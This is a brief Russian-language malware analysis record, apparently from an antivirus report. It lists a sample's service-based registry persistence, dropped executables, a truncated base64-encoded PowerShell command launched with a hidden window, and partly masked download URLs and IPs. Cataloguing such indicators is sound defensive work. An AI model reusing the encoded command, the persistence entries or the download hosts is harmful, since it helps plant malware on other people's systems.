Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\ieapfltr] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\ieapfltr] 'ImagePath' = '"%WINDIR%\SysWOW64\KBDINMAL\ieapfltr.exe"'
- 'ieapfltr' "%WINDIR%\SysWOW64\KBDINMAL\ieapfltr.exe"
- 'ieapfltr' %WINDIR%\SysWOW64\KBDINMAL\ieapfltr.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLAHQAYwB6AHYAdwAyAD0AKAAoACcASABkAHYANgAnACsAJwB1ACcAKQArACcAZQAwACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAUgBwAHIAbwBGAGkAbABlAFwAaQBwAEEAVQBEAG...
- %HOMEPATH%\ipaudeo\k_j9atr\siydwd.exe
- %WINDIR%\syswow64\kbdinmal\ieapfltr.exe
- %HOMEPATH%\ipaudeo\k_j9atr\siydwd.exe в %WINDIR%\syswow64\kbdinmal\ieapfltr.exe
- '20#.#53.220.157':80
- http://zh###yasoft.ir/wp-content/file/ANEbg/
- http://20#.#53.220.157/AuYwMkI8cfQtPIIIKa/b49xBacdQLl9B/Dk8UA6d5ok8r/k48k6hbJ4X/TdBCVv17DKctLq/
- DNS ASK zh###yasoft.ir
- '%HOMEPATH%\ipaudeo\k_j9atr\siydwd.exe'
- '%WINDIR%\syswow64\kbdinmal\ieapfltr.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABLAHQAYwB6AHYAdwAyAD0AKAAoACcASABkAHYANgAnACsAJwB1ACcAKQArACcAZQAwACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAUgBwAHIAbwBGAGkAbABlAFwAaQBwAEEAVQBEAG...' (со скрытым окном)